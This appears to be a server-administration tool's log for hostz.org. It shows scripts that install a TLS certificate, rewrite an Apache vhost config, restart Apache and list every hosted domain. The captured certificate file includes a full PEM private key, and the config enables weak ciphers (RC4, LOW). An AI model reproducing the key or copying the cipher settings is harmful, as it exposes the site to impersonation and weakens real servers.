Ojt3PyQ44GW2GGLi4PA4WrDPbYFenhRyjI952pdK1r53yTnAjxAaBg6tUDP1K1qd
hofd43JzWWSs91PmAcGLwSccEz5ksJmD4NfSrIf+VJIwi6xr8/m8il23rdYbXCai
Cuave4X8SmXsXrbEKvRJwe/06Qx5Iex59G54nnl4NEdw2YSKSY0rV5yQgHgfZBmi
1baRpNA0RH69iagnoNfArYWFAgecTDYoJuE9mnkZwQKBgQDznUn2epq6ZVdDAZVf
yQj3WjbPDv7JfjYp1Duvx0FWnmpfdcKq5Akdyc+ZDSXBRfI7vBoqth4ueP1lx10x
li+DFAzTprXgUtSp/TmU8pFacvDOptdUny+DlpIBJb63mORHFzked/EYOZ7Ejegc
sIpL3G86GBjj4VGoO8RWxuB46wKBgQDnTltcYYqqA3RXDTqd4bIKH4tEdvgBkhlc
ZM05JgCQt1Ex52hgHX8uYdiI0isUTzZVR+vqSHXkqogRWD9TzveOcBvPHaocVTVa
VwFwSnYIXVbugkjCwZb/N4H1K2Ck/vCzbG2P7bkvbzsbgNBSTaWu5BeqAB7eImcg
EihK9LX29QKBgAE77r/85wPCt6pzO5p8njsCjfyGiuviY8vac2L0k3Qo4UkSg6Xx
+cnY1+BinKpZ/FwpG8jTm1uI6V+2ntY9eIglddssoQc95C3oRn5mrC3VHzssxTJ8
i/USsjKnSkwLzjw99eAdo28H+7HrNh3PFyRDPZ0Buj6NSaichOYbo895AoGBAKcE
o1+PZyrgF6+L89lw0LgSkuM67FVmAz3941nyoNHeLJjWOT29zsnVCR+ycjzV/auS
pTykWcxlfp7Xk9KWTZbiSJJDH0QaGs5CqN1GRvg/Pbg3Bwbp9ngOwp4fVkeNdox4
LJyS0Pb5YDq5xrLHMm2YcaXlNGS9fq1frwyAqqvJAoGAR2qT6QXlpZuffjvea0LP
rf+DKoa3wLK6h5g9V/lqmP7PHGC9avC/i69MWU+juvOK/ZlsJ5Aj3l1ufZPphJHW
zOdTpKJiIk4r9jwE6ehxSFceGl7K6zxfknO0Arn1/jgqf8PtWVXhY80aduq8OcCo
c9lRrtm7yi4fVOgpvt/Re4U=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:00:41:
chmod 755 /tmp/pkp665575; /tmp/pkp665575; rm /tmp/pkp665575
2025-09-26 06:00:41:
dir=/etc/ssl/certs
2025-09-26 06:00:41:
PUT: /tmp/pkp452129
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:00:41:
chmod 755 /tmp/pkp452129; /tmp/pkp452129; rm /tmp/pkp452129
2025-09-26 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37
<VirtualHost *:80>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_access.log combined
ErrorLog /var/log/apache2/hostz/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_secure_access.log combined
ErrorLog /var/log/apache2/hostz/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:00:41:
PUT: /tmp/pkp152188
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_access.log combined
ErrorLog /var/log/apache2/hostz/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_secure_access.log combined
ErrorLog /var/log/apache2/hostz/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi
2025-09-26 06:00:41:
chmod 755 /tmp/pkp152188; /tmp/pkp152188; rm /tmp/pkp152188
2025-09-26 06:00:41:
2025-09-26 06:00:41:
PUT: /tmp/pkp854908
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:00:41:
chmod 755 /tmp/pkp854908; /tmp/pkp854908; rm /tmp/pkp854908
2025-09-26 06:00:41:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:41:
PUT: /tmp/pkp342670
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:00:41:
chmod 755 /tmp/pkp342670; /tmp/pkp342670; rm /tmp/pkp342670
2025-09-26 06:00:41:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:00:41:
PUT: /tmp/pkp513766
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_www_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:00:41:
chmod 755 /tmp/pkp513766; /tmp/pkp513766; rm /tmp/pkp513766
2025-09-26 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 1202
<VirtualHost *:80>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_access.log combined
ErrorLog /var/log/apache2/hostz/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName hostz.org
ServerAlias www.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
DocumentRoot /var/www/hostz_www
<Directory /var/www/hostz_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/www_secure_access.log combined
ErrorLog /var/log/apache2/hostz/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:00:41:
PUT: /tmp/pkp605054
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-26 06:00:41:
chmod 755 /tmp/pkp605054; /tmp/pkp605054; rm /tmp/pkp605054
2025-09-26 06:00:41:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt 5349
44:b1:1c:ca:e7:f2:3c:63:29:71:41:d3:fd:9f:9a:33
-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBfKOFCWWpxyCl18eOpTTlT+KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMjA5WhcNMjUxMjI1MDUwMjA4WjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcHX6a
xF65GUx5by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpn
wQDb8bjvh1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKp
FT/oHlBy3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S
7iI0oO8SWfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED
96iNr/Qp9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWl
yMQ7z2cUhguDLIrnAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLY0LGt+Db9o9IBvgSR5j351HFTfMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZhJwAwgAABAMARzBF
AiEAgCjiP0LEfpJY3jgNY9ZXnD4rO4dEnQriuHyc5BSJP1oCICN2SmskJ9TAMeTC
lRaKS5kFl2M45cYYFqJFmU2KU+KjAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxt
MAWE6+WGJjoAAAGZhJwAxQAABAMARzBFAiByskBe5/rsqYwEpZQ6s759EgiGGTOJ
4yarpR1W+TLnEAIhAK1Fk4Hr/sn3nmT23fZUbVXltJbW3/d6S0ZQDUyWyBLnMA0G
CSqGSIb3DQEBCwUAA4IBAQAuVnjW1WjXo1FdBDzHhPYAnwd6uc0HhBSZRrVLsFaI
n7wb5DfcSBtALPSL+ZCMzcFTl7EuHVyPORM3gqioBUpIx6SO3yVVYhzaBGMMB+y4
TMLWD5MeH8IKX2ZWV7f1GtXu/c+fP1modZMzXCNzLv+YaWIi/MVgXLCjOzy8pRAJ
0t9aXyp8pdjJV6tfVc4sSWH+vbmBcpplhZQlSwUp7FGgDIuFbHzOSOKa5Svacjkt
WWS563jYsF9SvCQqjdEFRkvLL3R46Jd8LaBmaTHIE8ZLE/Wc/hrW3PGBx4B1sek6
Lv7rbNPZ83kFR98yss+kbkfzxO4f1rVw5qu7GzbnMNkl
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcHX6axF65GUx5
by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpnwQDb8bjv
h1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKpFT/oHlBy
3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S7iI0oO8S
WfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED96iNr/Qp
9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWlyMQ7z2cU
hguDLIrnAgMBAAECggEAPF/6sgja0nqV91j/lCXj2GGbH4q2sQeGnEKTkiYOgeBI
xD4z19ONoc9FhG9Btc7agj46m2rdCXcr+sdsDjmdJX9pKWf2doC0HB2CxT3x0Fgi
Ojt3PyQ44GW2GGLi4PA4WrDPbYFenhRyjI952pdK1r53yTnAjxAaBg6tUDP1K1qd
hofd43JzWWSs91PmAcGLwSccEz5ksJmD4NfSrIf+VJIwi6xr8/m8il23rdYbXCai
Cuave4X8SmXsXrbEKvRJwe/06Qx5Iex59G54nnl4NEdw2YSKSY0rV5yQgHgfZBmi
1baRpNA0RH69iagnoNfArYWFAgecTDYoJuE9mnkZwQKBgQDznUn2epq6ZVdDAZVf
yQj3WjbPDv7JfjYp1Duvx0FWnmpfdcKq5Akdyc+ZDSXBRfI7vBoqth4ueP1lx10x
li+DFAzTprXgUtSp/TmU8pFacvDOptdUny+DlpIBJb63mORHFzked/EYOZ7Ejegc
sIpL3G86GBjj4VGoO8RWxuB46wKBgQDnTltcYYqqA3RXDTqd4bIKH4tEdvgBkhlc
ZM05JgCQt1Ex52hgHX8uYdiI0isUTzZVR+vqSHXkqogRWD9TzveOcBvPHaocVTVa
VwFwSnYIXVbugkjCwZb/N4H1K2Ck/vCzbG2P7bkvbzsbgNBSTaWu5BeqAB7eImcg
EihK9LX29QKBgAE77r/85wPCt6pzO5p8njsCjfyGiuviY8vac2L0k3Qo4UkSg6Xx
+cnY1+BinKpZ/FwpG8jTm1uI6V+2ntY9eIglddssoQc95C3oRn5mrC3VHzssxTJ8
i/USsjKnSkwLzjw99eAdo28H+7HrNh3PFyRDPZ0Buj6NSaichOYbo895AoGBAKcE
o1+PZyrgF6+L89lw0LgSkuM67FVmAz3941nyoNHeLJjWOT29zsnVCR+ycjzV/auS
pTykWcxlfp7Xk9KWTZbiSJJDH0QaGs5CqN1GRvg/Pbg3Bwbp9ngOwp4fVkeNdox4
LJyS0Pb5YDq5xrLHMm2YcaXlNGS9fq1frwyAqqvJAoGAR2qT6QXlpZuffjvea0LP
rf+DKoa3wLK6h5g9V/lqmP7PHGC9avC/i69MWU+juvOK/ZlsJ5Aj3l1ufZPphJHW
zOdTpKJiIk4r9jwE6ehxSFceGl7K6zxfknO0Arn1/jgqf8PtWVXhY80aduq8OcCo
c9lRrtm7yi4fVOgpvt/Re4U=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
